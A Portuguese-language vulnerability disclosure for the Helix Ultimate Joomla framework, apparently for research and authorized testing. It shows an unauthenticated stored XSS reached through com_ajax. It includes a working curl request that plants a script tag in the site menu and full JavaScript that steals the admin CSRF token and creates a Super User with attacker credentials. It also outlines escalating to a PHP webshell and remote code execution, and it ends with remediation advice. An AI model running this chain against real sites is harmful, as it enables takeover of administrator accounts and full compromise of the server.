Helix Ultimate Framework — XSS Armazenado Não Autenticado (com_ajax) → Session-Riding de Administrador → Comprometimento Total da Conta

Este é o achado mais forte desta pasta de pesquisa — CRÍTICO, totalmente confirmado de ponta a ponta. Ao contrário do bug somente de exclusão em helix_ultimate_delete_poc.md, este tem um caminho real e funcional para o comprometimento total do site.

Componente: JoomShaper Helix Ultimate Framework (template plg_system_helixultimate + shaper_helixultimate) Versão testada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07) Autor: Amin İsayev / Proxima Cyber Security

Resumo

plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() é um manipulador de eventos padrão do com_ajax do Joomla (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). O componente principal com_ajax do Joomla em si não impõe nenhuma autenticação — essa é sempre responsabilidade do plugin. Este manipulador faz um despacho arbitrário de método estático:

public function onAjaxHelixultimate()
{
    $task = $input->get('task', '', 'STRING');
    $namespace = "HelixUltimate\\Framework\\HttpResponse\\";
    $class = "Response";
    $classMethod = explode('.', $task);
    if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
    else { $method = $classMethod[0]; }
    $class = $namespace . $class;
    // ... class_exists / method_exists checks ...
    $response = $class::$method();   // <-- arbitrary no-arg static call, namespace-confined
}

O namespace é fixo no código (HelixUltimate\Framework\HttpResponse\), portanto isso não é, por si só, um gadget de RCE totalmente arbitrário — mas cada método estático público em src/HttpResponse/Response.php se torna chamável por qualquer pessoa, sem autenticação e com zero token CSRF. Nenhum deles chama Session::checkToken() ou authorise(). Este é um ponto de entrada completamente diferente e separado da classe Request/Platform protegida por administrador, abordada no write-up de exclusão — o com_ajax contorna essa proteção por completo.

O método perigoso: Response::saveMegaMenuSettings()

public static function saveMegaMenuSettings()
{
    $input = Factory::getApplication()->input;
    $settings = $input->post->get('settings', [], 'ARRAY');   // attacker-controlled, unsanitized values
    $itemId = $input->post->get('id', 0, 'INT');

    $menu = new SiteMenu;
    $item = $menu->getItem($itemId);
    $params = $item->getParams();
    $params->set('helixultimatemenulayout', \json_encode($settings));

    self::updateMenuItem($itemId, $params);   // -> $db->updateObject('#__menu', $data, 'id', true)
}

Isso grava JSON controlado pelo atacante diretamente na coluna params de um item de menu ativo e público do Joomla — sem login, sem token CSRF, em uma única requisição HTTP.

O sink: overrides/mod_menu/default.php (código real, distribuído com o template)

O html/mod_menu/default.php do template shaper_helixultimate realmente distribuído é um shim de 1 linha:

require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();

que resolve (confirmado ao ler HTMLOverride.php) para plugins/system/helixultimate/overrides/mod_menu/default.php — o arquivo que de fato renderiza o menu de navegação principal do site em todas as páginas, para todos os visitantes:

$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">';   // <-- zero escaping

customclass — uma chave que controlamos totalmente via saveMegaMenuSettings() — é concatenada diretamente em um atributo HTML, sem htmlspecialchars().

Prova real (2026-07-06, Docker: Joomla 5.4.6 + template real shaper_helixultimate + plugin 2.2.6)

$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
    --data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
    --data-urlencode "id=101"

{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}

Nenhum campo de token CSRF foi enviado — nem mesmo o token trivial extraído da página inicial que o bug de exclusão exigia.

HTML resultante servido a todos os visitantes subsequentes da página inicial:

<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="/index.php" aria-current="page">Home</a></li>

Uma tag <script> real, executável no navegador, injetada com zero autenticação e renderizada na página mais visitada do site (a navegação principal, presente em todas as páginas via posição de módulo, não apenas na página inicial).

Escalação para Comprometimento Total da Conta / RCE

Este é exatamente o cenário que a pasta CVE-2026-48909 estava originalmente perseguindo, alcançado por um ângulo completamente diferente: XSS armazenado não autenticado + session-riding = comprometimento da conta, sem nunca precisar roubar uma senha ou forçar o instalador por brute force.

Qualquer administrador que abra a página inicial do site público no mesmo navegador onde está (ou esteve recentemente) logado em /administrator executará o JavaScript do atacante com o cookie jar do navegador intacto. Payload conceitual (não executado contra uma sessão de administrador real neste laboratório — este laboratório não possui automação de navegador configurada para simular um administrador logado visitando a página; a entrega do XSS em si está 100% confirmada acima; este é o próximo passo padrão, bem compreendido):

"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
  .then(r => r.text())
  .then(html => {
    const m = html.match(/name="([a-f0-9]{32})" value="1"/);
    if (!m) return;
    const token = m[1];
    const fd = new FormData();
    fd.append('jform[name]', 'sysupdate');
    fd.append('jform[username]', 'sysupdate' + Date.now());
    fd.append('jform[password]', 'AttackerP@ss123!');
    fd.append('jform[password2]', 'AttackerP@ss123!');
    fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
    fd.append('jform[block]', '0');
    fd.append('jform[groups][]', '8');   // 8 = Super Users, default Joomla group id
    fd.append('task', 'user.save');
    fd.append(token, '1');
    fetch('/administrator/index.php?option=com_users&task=user.save', {
      method: 'POST', credentials: 'include', body: fd
    });
  });
</script>

Como o navegador anexa qualquer cookie de sessão que ele tenha para a origem do site a qualquer requisição de mesma origem — independentemente de qual aba ou página disparou o JavaScript — isso funciona enquanto o cookie de sessão do backend do administrador estiver válido naquele navegador no momento em que a página pública é visualizada. Isso cria uma conta de Super Usuário nova, com credenciais escolhidas pelo atacante. A partir daí: faça login em /administrator, edite qualquer arquivo de template (ou instale um novo) para adicionar um webshell PHP → RCE total.

Por que isso é mais forte que o bug de exclusão: nenhuma limitação de conteúdo de escrita se aplica aqui — esta primitiva grava dados (JSON em uma coluna do banco), não arquivos, mas esses dados são renderizados como HTML vivo em cada visualização de página, exatamente a primitiva de "escrita" que faltava ao bug de exclusão. Combinado com o padrão XSS→session-riding, isso fecha o ciclo que o bug de exclusão não conseguiu.

PoC de Detecção — helix_ultimate_xss_detect.py

Não destrutiva (quase): grava uma string de marcador inofensiva e inerte (sem <script>, sem aspas) em customclass e verifica se ela retorna sem escape no HTML renderizado da página inicial. Restaura/limpa o valor em seguida.

PoC de Exploração — helix_ultimate_xss_poc.py

Grava um payload XSS <script> real (padrão: uma prova inofensiva alert(), ou um payload personalizado via --payload) no customclass de um item de menu escolhido, verifica se ele é renderizado sem escape e imprime o payload conceitual de ATO/session-riding acima. Use somente com autorização por escrito — isso modifica dados do site ativo (o layout salvo do item de menu) até que seja limpo manualmente.

Remediação

1. onAjaxHelixultimate() não deve despachar cegamente para métodos arbitrários em HttpResponse\Response sem uma verificação de permissão — no mínimo, exija uma sessão Joomla válida + Session::checkToken() antes de permitir qualquer tarefa que altere estado (salvar menu, lista de módulos, métodos do construtor de mega-menu).
2. Independentemente, overrides/mod_menu/default.php (e qualquer outro override que leia helixultimatemenulayout/customclass) deve aplicar htmlspecialchars() (ou HTMLHelper::_('esc.html', ...) do Joomla) em qualquer valor obtido dos params do item de menu antes de ecoá-lo em atributos HTML — defesa em profundidade, já que os params de menu são tecnicamente dados apenas de administrador, mas claramente estão acessíveis a mais do que isso aqui.

Amin İsayev / Proxima Cyber Security — 2026. Uso educacional / somente para testes autorizados.